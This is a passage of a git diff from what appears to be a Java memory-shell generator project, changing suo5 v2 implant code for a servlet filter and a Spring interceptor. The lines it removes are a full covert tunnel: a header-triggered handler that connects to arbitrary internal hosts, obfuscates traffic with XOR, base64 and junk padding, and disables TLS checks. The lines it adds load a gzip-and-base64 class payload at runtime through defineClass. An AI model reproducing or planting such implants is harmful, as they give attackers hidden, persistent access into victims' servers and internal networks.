IOException { - buffer.clear(); - int bytesRead = socketChannel.read(buffer); - if (bytesRead <= 0) { // EOF or error - return new byte[0]; - } - - buffer.flip(); - byte[] data = new byte[buffer.remaining()]; - buffer.get(data); - return data; - } - - private static HashMap collectAddr() { - HashMap addrs = new HashMap(); - try { - Enumeration nifs = NetworkInterface.getNetworkInterfaces(); - while (nifs.hasMoreElements()) { - NetworkInterface nif = (NetworkInterface) nifs.nextElement(); - Enumeration addresses = nif.getInetAddresses(); - while (addresses.hasMoreElements()) { - InetAddress addr = (InetAddress) addresses.nextElement(); - String s = addr.getHostAddress(); - if (s != null) { - // fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4 - int ifaceIndex = s.indexOf('%'); - if (ifaceIndex != -1) { - s = s.substring(0, ifaceIndex); - } - addrs.put((Object) s, (Object) Boolean.TRUE); - } - } - } - } catch (Exception e) { - } - return addrs; - } + @Override + public void destroy() { - private boolean isLocalAddr(String url) throws Exception { - String ip = (new URL(url)).getHost(); - return addrs.containsKey(ip); } - private HttpURLConnection redirect(HttpServletRequest request, String rUrl, byte[] body) throws Exception { - String method = request.getMethod(); - URL u = new URL(rUrl); - HttpURLConnection conn = (HttpURLConnection) u.openConnection(); - conn.setRequestMethod(method); + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; try { - // conn.setConnectTimeout(3000); - conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)}); - // conn.setReadTimeout(0); - conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)}); - } catch (Exception e) { - // java1.4 - } - conn.setDoOutput(true); - conn.setDoInput(true); - - // ignore ssl verify - // ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java - if (HttpsURLConnection.class.isInstance(conn)) { - ((HttpsURLConnection) conn).setHostnameVerifier(this); - SSLContext sslCtx = SSLContext.getInstance("SSL"); - sslCtx.init(null, new TrustManager[]{this}, null); - ((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory()); - } - - Enumeration headers = request.getHeaderNames(); - while (headers.hasMoreElements()) { - String k = (String) headers.nextElement(); - if (k.equalsIgnoreCase("Content-Length")) { - conn.setRequestProperty(k, String.valueOf(body.length)); - } else if (k.equalsIgnoreCase("Host")) { - conn.setRequestProperty(k, u.getHost()); - } else if (k.equalsIgnoreCase("Connection")) { - conn.setRequestProperty(k, "close"); - } else if (k.equalsIgnoreCase("Content-Encoding") || k.equalsIgnoreCase("Transfer-Encoding")) { - continue; - } else { - conn.setRequestProperty(k, request.getHeader(k)); - } + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Throwable e) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); } - - OutputStream rout = conn.getOutputStream(); - rout.write(body); - rout.flush(); - rout.close(); - conn.getResponseCode(); - return conn; } - - private byte[] toByteArray(InputStream in) { + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; try { - ByteArrayOutputStream baos = new ByteArrayOutputStream(); + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); byte[] buffer = new byte[4096]; - - int len; - while ((len = in.read(buffer)) != -1) { - baos.write(buffer, 0, len); - } - - return baos.toByteArray(); - } catch (IOException var5) { - return new byte[0]; - } - } - - private void readFull(InputStream is, byte[] b) throws IOException { - int bufferOffset = 0; - while (bufferOffset < b.length) { - int readLength = b.length - bufferOffset; - int readResult = is.read(b, bufferOffset, readLength); - if (readResult == -1) { - throw new IOException("stream EOF"); - } - bufferOffset += readResult; - } - } - - public HashMap newDirtyChunk(int size) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x11}); - if (size > 0) { - byte[] data = new byte[size]; - new Random().nextBytes(data); - m.put("d", data); - } - return m; - } - - private HashMap newData(String tunId, byte[] data) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x01}); - m.put("dt", data); - m.put("id", tunId.getBytes()); - return m; - } - - private HashMap newDel(String tunId) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x02}); - m.put("id", tunId.getBytes()); - return m; - } - - private HashMap newStatus(String tunId, byte b) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x03}); - m.put("s", new byte[]{b}); - m.put("id", tunId.getBytes()); - return m; - } - - private HashMap newHeartbeat(String tunId) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x10}); - m.put("id", tunId.getBytes()); - return m; - } - - private byte[] u32toBytes(int i) { - byte[] result = new byte[4]; - result[0] = (byte) (i >> 24); - result[1] = (byte) (i >> 16); - result[2] = (byte) (i >> 8); - result[3] = (byte) (i /*>> 0*/); - return result; - } - - private int bytesToU32(byte[] bytes) { - return ((bytes[0] & 0xFF) << 24) | - ((bytes[1] & 0xFF) << 16) | - ((bytes[2] & 0xFF) << 8) | - ((bytes[3] & 0xFF) << 0); - } - - private void putKey(String k, Object v) { - ctx.put(k, v); - } - - private Object getKey(String k) { - return ctx.get(k); - } - - private void removeKey(String k) { - ctx.remove(k); - } - - private byte[] copyOfRange(byte[] original, int from, int to) { - int newLength = to - from; - if (newLength < 0) { - throw new IllegalArgumentException(from + " > " + to); - } - byte[] copy = new byte[newLength]; - int copyLength = Math.min(original.length - from, newLength); - // can't use System.arraycopy, there is no system in some environment - // System.arraycopy(original, from, copy, 0, copyLength); - for (int i = 0; i < copyLength; i++) { - copy[i] = original[from + i]; - } - return copy; - } - - private String base64UrlEncode(byte[] bs) throws Exception { - Class base64; - String value = null; - try { - base64 = Class.forName("java.util.Base64"); - Object Encoder = base64.getMethod("getEncoder", new Class[0]) - .invoke(base64, new Object[0]); - value = (String) Encoder.getClass() - .getMethod("encodeToString", new Class[]{byte[].class}) - .invoke(Encoder, new Object[]{bs}); - } catch (Exception e) { - try { - base64 = Class.forName("sun.misc.BASE64Encoder"); - Object Encoder = base64.newInstance(); - value = (String) Encoder.getClass() - .getMethod("encode", new Class[]{byte[].class}) - .invoke(Encoder, new Object[]{bs}); - value = value.replaceAll("\\s+", ""); - } catch (Exception e2) { + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); } - } - if (value != null) { - value = value.replace('+', '-').replace('/', '_'); - while (value.endsWith("=")) { - value = value.substring(0, value.length() - 1); - } - } - return value; - } - - - private byte[] base64UrlDecode(String bs) throws Exception { - if (bs == null) { - return null; - } - bs = bs.replace('-', '+').replace('_', '/'); - while (bs.length() % 4 != 0) { - bs += "="; - } - - Class base64; - byte[] value = null; - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", new Class[0]).invoke(base64, new Object[0]); - value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); - } catch (Exception e) { - try { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); - } catch (Exception e2) { - } - } - return value; - } - - private byte[] marshalBase64(HashMap m) throws Exception { - // add some junk data, 0~16 random size - Random random = new Random(); - int junkSize = random.nextInt(32); - if (junkSize > 0) { - byte[] junk = new byte[junkSize]; - random.nextBytes(junk); - m.put("_", junk); - } - - ByteArrayOutputStream buf = new ByteArrayOutputStream(); - Object[] keys = m.keySet().toArray(); - for (int i = 0; i < keys.length; i++) { - String key = (String) keys[i]; - byte[] value = (byte[]) m.get(key); - buf.write((byte) key.length()); - buf.write(key.getBytes()); - buf.write(u32toBytes(value.length)); - buf.write(value); - } - - // xor key - byte[] key = new byte[2]; - key[0] = (byte) ((Math.random() * 255) + 1); - key[1] = (byte) ((Math.random() * 255) + 1); - - byte[] data = buf.toByteArray(); - for (int i = 0; i < data.length; i++) { - data[i] = (byte) (data[i] ^ key[i % 2]); - } - data = base64UrlEncode(data).getBytes(); - - ByteBuffer dbuf = ByteBuffer.allocate(6); - dbuf.put(key); - dbuf.putInt(data.length); - byte[] headerData = dbuf.array(); - for (int i = 2; i < 6; i++) { - headerData[i] = (byte) (headerData[i] ^ key[i % 2]); - } - headerData = base64UrlEncode(headerData).getBytes(); - dbuf = ByteBuffer.allocate(8 + data.length); - dbuf.put(headerData); - dbuf.put(data); - return dbuf.array(); - } - - private HashMap unmarshalBase64(InputStream in) throws Exception { - HashMap m = new HashMap(); - byte[] header = new byte[8]; // base64 header - readFull(in, header); - header = base64UrlDecode(new String(header)); - if (header == null || header.length == 0) { - return m; - } - byte[] xor = new byte[]{header[0], header[1]}; - for (int i = 2; i < 6; i++) { - header[i] = (byte) (header[i] ^ xor[i % 2]); - } - ByteBuffer bb = ByteBuffer.wrap(header, 2, 4); - int len = bb.getInt(); - if (len > 1024 * 1024 * 32) { - throw new IOException("invalid len"); - } - byte[] bs = new byte[len]; - readFull(in, bs); - bs = base64UrlDecode(new String(bs)); - for (int i = 0; i < bs.length; i++) { - bs[i] = (byte) (bs[i] ^ xor[i % 2]); - } - - byte[] buf; - for (int i = 0; i < bs.length; ) { - int kLen = bs[i] & 0xFF; - i += 1; - if (i + kLen > bs.length) { - throw new Exception("key len error"); - } - buf = copyOfRange(bs, i, i + kLen); - String key = new String(buf); - i += kLen; - - if (i + 4 > bs.length) { - throw new Exception("value len error"); - } - buf = copyOfRange(bs, i, i + 4); - int vLen = bytesToU32(buf); - i += 4; - if (vLen < 0) { - throw new Exception("value error"); - } - - if (i + vLen > bs.length) { - throw new Exception("value error"); - } - byte[] value = copyOfRange(bs, i, i + vLen); - i += vLen; - - m.put(key, value); - } - return m; - } - - private String randomString(int length) { - if (length <= 0) { - return ""; - } - Random random = new Random(); - char[] randomChars = new char[length]; - for (int i = 0; i < length; i++) { - int randomIndex = random.nextInt(CHARACTERS_LENGTH); - randomChars[i] = CHARACTERS.charAt(randomIndex); - } - return new String(randomChars); - } - - public boolean verify(String hostname, SSLSession session) { - return true; - } - - public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { - } - - public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { - } - - public X509Certificate[] getAcceptedIssuers() { - return new X509Certificate[0]; - } - - public void run() { - // full stream - if (this.mode == 0) { - try { - pipeStream(gInStream, gOutStream, true); - } catch (Exception ignore) { - } - return; - } - - Object[] objs = (Object[]) getKey(this.gtunId); - if (objs == null || objs.length != 3) { - - return; - } - SocketChannel sc = (SocketChannel) objs[0]; - BlockingQueue readQueue = (BlockingQueue) objs[1]; - BlockingQueue writeQueue = (BlockingQueue) objs[2]; - boolean selfClean = false; - - try { - if (mode == 1) { - // read thread - ByteBuffer buffer = ByteBuffer.allocate(BUF_SIZE); - while (true) { - byte[] data = readSocketChannel(sc, buffer); - if (data.length == 0) { - break; - } - if (!readQueue.offer(data, 60, TimeUnit.SECONDS)) { - selfClean = true; - break; - } - } - } else { - // write thread - while (true) { - byte[] data = writeQueue.poll(300, TimeUnit.SECONDS); - if (data == null || data.length == 0) { - selfClean = true; - break; - } - ByteBuffer buf = ByteBuffer.wrap(data); - while (buf.hasRemaining()) { - sc.write(buf); - } - } - } - } catch (Exception e) { + return out.toByteArray(); } finally { - if (selfClean) { - - removeKey(this.gtunId); - } - readQueue.clear(); - writeQueue.clear(); - try { - writeQueue.put(new byte[0]); - sc.close(); - } catch (Exception ignore) { + if (gzipInputStream != null) { + gzipInputStream.close(); } - + out.close(); } } - - @Override - public void destroy() { - - } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Interceptor.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Interceptor.java index 2aafa31d..fed711e1 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Interceptor.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Interceptor.java @@ -3,63 +3,36 @@ import org.springframework.web.servlet.AsyncHandlerInterceptor; import org.springframework.web.servlet.ModelAndView; -import javax.net.ssl.*; -import javax.servlet.ServletRequest; -import javax.servlet.ServletResponse; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; -import java.io.*; -import java.net.*; -import java.nio.ByteBuffer; -import java.nio.channels.SocketChannel; -import java.security.cert.CertificateException; -import java.security.cert.X509Certificate; -import java.util.Enumeration; -import java.util.HashMap; -import java.util.Hashtable; -import java.util.Random; -import java.util.concurrent.BlockingQueue; -import java.util.concurrent.LinkedBlockingQueue; -import java.util.concurrent.TimeUnit; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.util.zip.GZIPInputStream; /** * @author ReaJason * @since 2025/12/9 */ -public class Suo5v2Interceptor implements AsyncHandlerInterceptor, Runnable, HostnameVerifier, X509TrustManager { - public static String headerName; - public static String headerValue; - private static HashMap addrs = collectAddr(); - private static Hashtable ctx = new Hashtable(); - - private final String CHARACTERS = "abcdefghijklmnopqrstuvwxyz0123456789"; - private final int CHARACTERS_LENGTH = CHARACTERS.length(); - private final int BUF_SIZE = 1024 * 16; - - private InputStream gInStream; - private OutputStream gOutStream; - private String gtunId; - private int mode = 0; +public class Suo5v2Interceptor extends ClassLoader implements AsyncHandlerInterceptor { + private static Class suo5V2Class; + private static String suo5V2GZipBase64; public Suo5v2Interceptor() { } - public Suo5v2Interceptor(InputStream in, OutputStream out, String tunId) { - this.gInStream = in; - this.gOutStream = out; - this.gtunId = tunId; - } - - public Suo5v2Interceptor(String tunId, int mode) { - this.gtunId = tunId; - this.mode = mode; + protected Suo5v2Interceptor(ClassLoader parent) { + super(parent); } @Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { try { - if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { - new Suo5v2Interceptor().process(request, response); + if (suo5V2Class == null) { + byte[] bytes = gzipDecompress(decodeBase64(suo5V2GZipBase64)); + suo5V2Class = new Suo5v2Interceptor(Thread.currentThread().getContextClassLoader()).defineClass(bytes, 0, bytes.length); + } + if (suo5V2Class != null && suo5V2Class.newInstance().equals(new Object[]{request, response})) { return false; } } catch (Throwable ignored) { @@ -82,1010 +55,36 @@ public void afterConcurrentHandlingStarted(HttpServletRequest request, HttpServl } - private void process(ServletRequest request, ServletResponse response) { - HttpServletRequest req = (HttpServletRequest) request; - HttpServletResponse resp = (HttpServletResponse) response; - - String sid = null; - byte[] bodyPrefix = new byte[0]; + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; try { - InputStream reqInputStream = req.getInputStream(); - HashMap dataMap = unmarshalBase64(reqInputStream); - - byte[] modeData = (byte[]) dataMap.get("m"); - byte[] actionData = (byte[]) dataMap.get("ac"); - byte[] tunIdData = (byte[]) dataMap.get("id"); - byte[] sidData = (byte[]) dataMap.get("sid"); - if (actionData == null || actionData.length != 1 || tunIdData == null || tunIdData.length == 0 || modeData == null || modeData.length == 0) { - return; - } - if (sidData != null && sidData.length > 0) { - sid = new String(sidData); - } - - String tunId = new String(tunIdData); - byte mode = modeData[0]; - switch (mode) { - case 0x00: - sid = randomString(16); - processHandshake(req, resp, dataMap, tunId, sid); - - break; - case 0x01: - setBypassHeader(resp); - processFullStream(req, resp, dataMap, tunId); - break; - case 0x02: - setBypassHeader(resp); - // don't break here, continue to process - case 0x03: - byte[] bodyContent = toByteArray(reqInputStream); - if (processRedirect(req, resp, dataMap, bodyPrefix, bodyContent)) { - - break; - } - - if (sidData == null || sidData.length == 0 || getKey(new String(sidData)) == null) { - // send to wrong node, client should retry - resp.setStatus(403); - - return; - } - - InputStream bodyStream = new ByteArrayInputStream(bodyContent); - int dirySize = getDirtySize(sid); - - if (mode == 0x02) { - // half mode - writeAndFlush(resp, processTemplateStart(resp, new String(sidData)), dirySize); - do { - processHalfStream(req, resp, dataMap, tunId, dirySize); - try { - dataMap = unmarshalBase64(bodyStream); - if (dataMap.isEmpty()) { - break; - } - tunId = new String((byte[]) dataMap.get("id")); - } catch (Exception e) { - break; - } - } while (true); - writeAndFlush(resp, processTemplateEnd(sid), dirySize); - - } else { - // classic mode - ByteArrayOutputStream baos = new ByteArrayOutputStream(); - baos.write(processTemplateStart(resp, new String(sidData))); - - do { - processClassic(req, baos, dataMap, tunId); - try { - dataMap = unmarshalBase64(bodyStream); - if (dataMap.isEmpty()) { - break; - } - tunId = new String((byte[]) dataMap.get("id")); - } catch (Exception e) { - break; - } - } while (true); - - baos.write(processTemplateEnd(sid)); - resp.setContentLength(baos.size()); - writeAndFlush(resp, baos.toByteArray(), 0); - } - - break; - default: - } + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); } catch (Throwable e) { - } finally { - try { - OutputStream out = resp.getOutputStream(); - out.flush(); - out.close(); - } catch (Throwable ignored) {} - } - } - - private void setBypassHeader(HttpServletResponse resp) { - resp.setBufferSize(BUF_SIZE); - resp.setHeader("X-Accel-Buffering", "no"); - } - - private byte[] processTemplateStart(HttpServletResponse resp, String sid) throws Exception { - byte[] data = new byte[0]; - Object o = getKey(sid); - if (o == null) { - - return data; - } - String[] tplParts = (String[]) o; - if (tplParts.length != 3) { - return data; - } - - resp.setHeader("Content-Type", tplParts[0]); - return tplParts[1].getBytes(); - } - - private byte[] processTemplateEnd(String sid) { - byte[] data = new byte[0]; - Object o = getKey(sid); - if (o == null) { - - return data; - } - String[] tplParts = (String[]) o; - if (tplParts.length != 3) { - return data; - } - - return tplParts[2].getBytes(); - } - - private int getDirtySize(String sid) { - Object o = getKey(sid + "_jk"); - if (o == null) { - return 0; - } - return (Integer) o; - } - - private boolean processRedirect(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, byte[] bodyPrefix, byte[] bodyContent) throws Exception { - byte[] redirectData = (byte[]) dataMap.get("r"); - dataMap.remove("r"); - // load balance, send request with data to request url - boolean needRedirect = redirectData != null && redirectData.length > 0; - if (needRedirect && !isLocalAddr(new String(redirectData))) { - HttpURLConnection conn = null; - try { - ByteArrayOutputStream baos = new ByteArrayOutputStream(); - baos.write(bodyPrefix); - baos.write(marshalBase64(dataMap)); - baos.write(bodyContent); - byte[] newBody = baos.toByteArray(); - conn = redirect(req, new String(redirectData), newBody); - pipeStream(conn.getInputStream(), resp.getOutputStream(), false); - } finally { - if (conn != null) { - conn.disconnect(); - } - } - return true; - } - return false; - } - - private void processHandshake(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, String tunId, String sid) throws Exception { - byte[] redirectData = (byte[]) dataMap.get("r"); - boolean needRedirect = redirectData != null && redirectData.length > 0; - if (needRedirect && !isLocalAddr(new String(redirectData))) { - resp.setStatus(403); - return; - } - - byte[] tplData = (byte[]) dataMap.get("tpl"); - byte[] contentTypeData = (byte[]) dataMap.get("ct"); - if (tplData != null && tplData.length > 0 && contentTypeData != null && contentTypeData.length > 0) { - String tpl = new String(tplData); - String[] parts = tpl.split("#data#", 2); - putKey(sid, new String[]{new String(contentTypeData), parts[0], parts[1]}); - } else { - putKey(sid, new String[0]); - } - - byte[] dirtySizeData = (byte[]) dataMap.get("jk"); - if (dirtySizeData != null && dirtySizeData.length > 0) { - int dirtySize = 0; - try { - dirtySize = Integer.parseInt(new String(dirtySizeData)); - } catch (NumberFormatException e) { - - } - if (dirtySize < 0) { - dirtySize = 0; - } - putKey(sid + "_jk", dirtySize); - } - - byte[] isAutoData = (byte[]) dataMap.get("a"); - boolean isAuto = isAutoData != null && isAutoData.length > 0 && isAutoData[0] == 0x01; - if (isAuto) { - setBypassHeader(resp); - writeAndFlush(resp, processTemplateStart(resp, sid), 0); - - // write the body string to verify - writeAndFlush(resp, marshalBase64(newData(tunId, (byte[]) dataMap.get("dt"))), 0); - - Thread.sleep(2000); - - // write again to identify streaming response - writeAndFlush(resp, marshalBase64(newData(tunId, sid.getBytes())), 0); - writeAndFlush(resp, processTemplateEnd(sid), 0); - } else { - ByteArrayOutputStream baos = new ByteArrayOutputStream(); - baos.write(processTemplateStart(resp, sid)); - baos.write(marshalBase64(newData(tunId, (byte[]) dataMap.get("dt")))); - baos.write(marshalBase64(newData(tunId, sid.getBytes()))); - baos.write(processTemplateEnd(sid)); - resp.setContentLength(baos.size()); - writeAndFlush(resp, baos.toByteArray(), 0); - } - } - - private void processFullStream(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, String tunId) throws Exception { - InputStream reqInputStream = req.getInputStream(); - String host = new String((byte[]) dataMap.get("h")); - int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); - if (port == 0) { - port = getServerPort(req); - } - - Socket socket = null; - - try { - socket = new Socket(); - socket.setTcpNoDelay(true); - socket.setReceiveBufferSize(128 * 1024); - socket.setSendBufferSize(128 * 1024); - socket.connect(new InetSocketAddress(host, port), 5000); - writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x00)), 0); - } catch (Exception e) { - if (socket != null) { - socket.close(); - } - writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x01)), 0); - return; - } - - - Thread t = null; - boolean sendClose = true; - try { - final OutputStream scOutStream = socket.getOutputStream(); - final InputStream scInStream = socket.getInputStream(); - final OutputStream respOutputStream = resp.getOutputStream(); - - Suo5v2Interceptor p = new Suo5v2Interceptor(scInStream, respOutputStream, tunId); - t = new Thread(p); - t.start(); - - while (true) { - HashMap newData = unmarshalBase64(reqInputStream); - if (newData.isEmpty()) { - break; - } - byte action = ((byte[]) newData.get("ac"))[0]; - switch (action) { - case 0x00: - case 0x02: - sendClose = false; - break; - case 0x01: - byte[] data = (byte[]) newData.get("dt"); - if (data.length != 0) { - scOutStream.write(data); - scOutStream.flush(); - } - break; - case 0x10: - writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), 0); - break; - default: - } - } - } catch (Exception ignored) { - } finally { - - try { - socket.close(); - } catch (Exception ignored) { - } - - if (sendClose) { - writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); - } - if (t != null) { - t.join(); - } - - } - } - - private void processHalfStream(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, String tunId, int dirtySize) throws Exception { - boolean newThread = false; - boolean sendClose = true; - - try { - byte action = ((byte[]) dataMap.get("ac"))[0]; - switch (action) { - case 0x00: - byte[] createData = performCreate(req, dataMap, tunId, newThread); - writeAndFlush(resp, createData, dirtySize); - - Object[] objs = (Object[]) getKey(tunId); - if (objs == null) { - throw new IOException("tunnel not found"); - } - SocketChannel sc = (SocketChannel) objs[0]; - ByteBuffer buffer = ByteBuffer.allocate(BUF_SIZE); - while (true) { - try { - byte[] data = readSocketChannel(sc, buffer); - if (data.length == 0) { - break; - } - writeAndFlush(resp, marshalBase64(newData(tunId, data)), dirtySize); - } catch (Exception e) { -// - break; - } - } - break; - case 0x01: - performWrite(dataMap, tunId, newThread); - break; - case 0x02: - - sendClose = false; - performDelete(tunId); - break; - case 0x10: - writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), dirtySize); - break; - } - - } catch (Exception e) { - - performDelete(tunId); - if (sendClose) { - writeAndFlush(resp, marshalBase64(newDel(tunId)), dirtySize); - } - } - } - - private void processClassic(HttpServletRequest req, ByteArrayOutputStream respBodyStream, HashMap dataMap, String tunId) throws - Exception { - boolean sendClose = true; - boolean newThread = true; - - try { - byte action = ((byte[]) dataMap.get("ac"))[0]; - switch (action) { - case 0x00: - byte[] createData = performCreate(req, dataMap, tunId, newThread); - respBodyStream.write(createData); - break; - case 0x01: - performWrite(dataMap, tunId, newThread); - byte[] readData = performRead(tunId); - respBodyStream.write(readData); - break; - case 0x02: - sendClose = false; - performDelete(tunId); - break; - } - - } catch (Exception e) { - - performDelete(tunId); - if (sendClose) { - respBodyStream.write(marshalBase64(newDel(tunId))); - } + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); } } - private void writeAndFlush(HttpServletResponse resp, byte[] data, int dirtySize) throws Exception { - if (data == null || data.length == 0) { - return; - } - OutputStream out = resp.getOutputStream(); - out.write(data); - if (dirtySize != 0) { - - out.write(marshalBase64(newDirtyChunk(dirtySize))); - } - out.flush(); - resp.flushBuffer(); - } - - private byte[] performCreate(HttpServletRequest request, HashMap dataMap, String tunId, boolean newThread) throws Exception { - String host = new String((byte[]) dataMap.get("h")); - int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); - if (port == 0) { - port = getServerPort(request); - } - - ByteArrayOutputStream baos = new ByteArrayOutputStream(); - SocketChannel socketChannel = null; - HashMap resultData = null; + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; try { - socketChannel = SocketChannel.open(); - socketChannel.socket().setTcpNoDelay(true); - socketChannel.socket().setReceiveBufferSize(128 * 1024); - socketChannel.socket().setSendBufferSize(128 * 1024); - socketChannel.socket().connect(new InetSocketAddress(host, port), 3000); - socketChannel.configureBlocking(true); - resultData = newStatus(tunId, (byte) 0x00); - BlockingQueue readQueue = new LinkedBlockingQueue(100); - BlockingQueue writeQueue = new LinkedBlockingQueue(); - putKey(tunId, new Object[]{socketChannel, readQueue, writeQueue}); - if (newThread) { - new Thread(new Suo5v2Interceptor(tunId, 1)).start(); - new Thread(new Suo5v2Interceptor(tunId, 2)).start(); - } - } catch (Exception e) { - if (socketChannel != null) { - try { - socketChannel.close(); - } catch (Exception ignore) { - } - } - - resultData = newStatus(tunId, (byte) 0x01); - } - baos.write(marshalBase64(resultData)); - return baos.toByteArray(); - } - - private void performWrite(HashMap dataMap, String tunId, boolean newThread) throws Exception { - Object[] objs = (Object[]) getKey(tunId); - if (objs == null) { - throw new IOException("tunnel not found"); - } - SocketChannel sc = (SocketChannel) objs[0]; - if (!sc.isConnected()) { - throw new IOException("socket not connected"); - } - - byte[] data = (byte[]) dataMap.get("dt"); - if (data.length != 0) { - if (newThread) { - BlockingQueue writeQueue = (BlockingQueue) objs[2]; - writeQueue.put(data); - } else { - ByteBuffer buf = ByteBuffer.wrap(data); - while (buf.hasRemaining()) { - sc.write(buf); - } - } - } - } - - private byte[] performRead(String tunId) throws Exception { - Object[] objs = (Object[]) getKey(tunId); - if (objs == null) { - throw new IOException("tunnel not found"); - } - SocketChannel sc = (SocketChannel) objs[0]; - if (!sc.isConnected()) { - throw new IOException("socket not connected"); - } - ByteArrayOutputStream baos = new ByteArrayOutputStream(); - BlockingQueue readQueue = (BlockingQueue) objs[1]; - int maxSize = 512 * 1024; // 1MB - int written = 0; - while (true) { - byte[] data = readQueue.poll(); - if (data != null) { - written += data.length; - baos.write(marshalBase64(newData(tunId, data))); - if (written >= maxSize) { - break; - } - } else { - break; // no more data - } - } - return baos.toByteArray(); - } - - private void performDelete(String tunId) { - Object[] objs = (Object[]) getKey(tunId); - if (objs != null) { - removeKey(tunId); - SocketChannel sc = (SocketChannel) objs[0]; - BlockingQueue writeQueue = (BlockingQueue) objs[2]; - try { - // trigger write thread to exit; - writeQueue.put(new byte[0]); - sc.close(); - } catch (Exception ignore) { - } - } - } - - private int getServerPort(HttpServletRequest request) throws Exception { - int port; - try { - port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); - } catch (Exception e) { - port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); - } - return port; - } - - private void pipeStream(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws Exception { - try { - byte[] readBuf = new byte[1024 * 8]; - while (true) { - int n = inputStream.read(readBuf); - if (n <= 0) { - break; - } - byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n); - if (needMarshal) { - dataTmp = marshalBase64(newData(this.gtunId, dataTmp)); - } - outputStream.write(dataTmp); - outputStream.flush(); - } - } finally { - // don't close outputStream - if (inputStream != null) { - try { - inputStream.close(); - } catch (Exception ignore) { - } - } - } - } - - private byte[] readSocketChannel(SocketChannel socketChannel, ByteBuffer buffer) throws IOException { - buffer.clear(); - int bytesRead = socketChannel.read(buffer); - if (bytesRead <= 0) { // EOF or error - return new byte[0]; - } - - buffer.flip(); - byte[] data = new byte[buffer.remaining()]; - buffer.get(data); - return data; - } - - private static HashMap collectAddr() { - HashMap addrs = new HashMap(); - try { - Enumeration nifs = NetworkInterface.getNetworkInterfaces(); - while (nifs.hasMoreElements()) { - NetworkInterface nif = (NetworkInterface) nifs.nextElement(); - Enumeration addresses = nif.getInetAddresses(); - while (addresses.hasMoreElements()) { - InetAddress addr = (InetAddress) addresses.nextElement(); - String s = addr.getHostAddress(); - if (s != null) { - // fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4 - int ifaceIndex = s.indexOf('%'); - if (ifaceIndex != -1) { - s = s.substring(0, ifaceIndex); - } - addrs.put((Object) s, (Object) Boolean.TRUE); - } - } - } - } catch (Exception e) { - } - return addrs; - } - - private boolean isLocalAddr(String url) throws Exception { - String ip = (new URL(url)).getHost(); - return addrs.containsKey(ip); - } - - private HttpURLConnection redirect(HttpServletRequest request, String rUrl, byte[] body) throws Exception { - String method = request.getMethod(); - URL u = new URL(rUrl); - HttpURLConnection conn = (HttpURLConnection) 